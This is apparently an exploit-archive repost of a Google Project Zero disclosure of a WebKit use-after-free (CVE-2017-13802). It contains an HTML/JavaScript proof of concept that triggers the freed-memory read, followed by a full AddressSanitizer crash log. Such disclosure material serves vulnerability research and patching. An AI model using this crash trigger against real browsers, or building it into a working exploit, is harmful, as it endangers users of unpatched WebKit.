Exploit the possiblities

WebKit WebCore::Style::TreeResolver::styleForElement Use-After-Free

WebKit WebCore::Style::TreeResolver::styleForElement Use-After-Free
Posted Nov 22, 2017
Authored by Ivan Fratric, Google Security Research

WebKit suffers from a use-after-free vulnerability in WebCore::Style::TreeResolver::styleForElement.

tags | exploit
advisories | CVE-2017-13802
MD5 | 63b43c75cbc1b4ad33a88819f4eeddde

WebKit WebCore::Style::TreeResolver::styleForElement Use-After-Free

Change Mirror Download
WebKit: use-after-free in WebCore::Style::TreeResolver::styleForElement 

CVE-2017-13802


There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================

<script>
function eventhandler1() {
try { txt.appendChild(kg); } catch(e) { }
}

function eventhandler2() {
try { anim.appendChild(kg); } catch(e) { }
}

function eventhandler3() {
try { table.scrollIntoView(true); } catch(e) { }
}

</script>
<table id="table"></table>
<form>
<keygen id="kg" autofocus="autofocus">
</form>
<svg>
<animate id="anim" attributeName="text-anchor" from="middle" to="inherit" onbegin="eventhandler1()" />
<text id="txt" onload="eventhandler3()">
<font color="white"></font>
<select onfocus="eventhandler2()" autofocus="autofocus">
<textarea>a</textarea>
<iframe onload="eventhandler1()"></iframe>

=================================================================

ASan log:

=================================================================
==30588==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000077ec8 at pc 0x00010dfdcb30 bp 0x7fff56cdb5a0 sp 0x7fff56cdb598
READ of size 8 at 0x608000077ec8 thread T0
==30588==WARNING: invalid path to external symbolizer!
==30588==WARNING: Failed to use and restart external symbolizer!
#0 0x10dfdcb2f in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f)
#1 0x110ce1def in WebCore::Style::TreeResolver::parentBoxStyle() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bdef)
#2 0x110ce1acc in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bacc)
#3 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
#4 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
#5 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
#6 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
#7 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
#8 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
#9 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
#10 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
#11 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
#12 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
#13 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
#14 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
#15 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
#16 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
#17 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
#18 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
#19 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
#20 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
#21 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
#22 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
#23 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x608000077ec8 is located 40 bytes inside of 88-byte region [0x608000077ea0,0x608000077ef8)
freed by thread T0 here:
#0 0x10c6dc294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
#1 0x11cb6c650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
#2 0x110ce4081 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4e081)
#3 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
#4 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
#5 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
#6 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
#7 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
#8 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
#9 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
#10 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
#11 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
#12 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
#13 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
#14 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
#15 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
#16 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
#17 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
#18 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
#19 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
#20 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
#21 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

previously allocated by thread T0 here:
#0 0x10c6dbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
#1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
#2 0x11cb6cad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
#3 0x11cb6ad6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
#4 0x11caf1247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
#5 0x11caf063a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
#6 0x1107568e8 in WebCore::RenderStyle::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c08e8)
#7 0x1107943b9 in WebCore::RenderStyle::clonePtr(WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe3b9)
#8 0x110794388 in WebCore::RenderStyle::createPtr() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe388)
#9 0x110ca204d in WebCore::StyleResolver::styleForElement(WebCore::Element const&, WebCore::RenderStyle const*, WebCore::RenderStyle const*, WebCore::RuleMatchingBehavior, WebCore::RenderRegion const*, WebCore::SelectorFilter const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d0c04d)
#10 0x110ce1afb in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bafb)
#11 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
#12 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
#13 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
#14 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
#15 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
#16 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
#17 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
#18 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
#19 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
#20 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
#21 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
#22 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
#23 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
#24 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
#25 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
#26 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
#27 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
#28 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
#29 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f) in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const
Shadow bytes around the buggy address:
0x1c100000ef80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x1c100000ef90: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x1c100000efa0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x1c100000efb0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x1c100000efc0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
=>0x1c100000efd0: fa fa fa fa fd fd fd fd fd[fd]fd fd fd fd fd fa
0x1c100000efe0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
0x1c100000eff0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
0x1c100000f000: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
0x1c100000f010: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
0x1c100000f020: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==30588==ABORTING


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: ifratric

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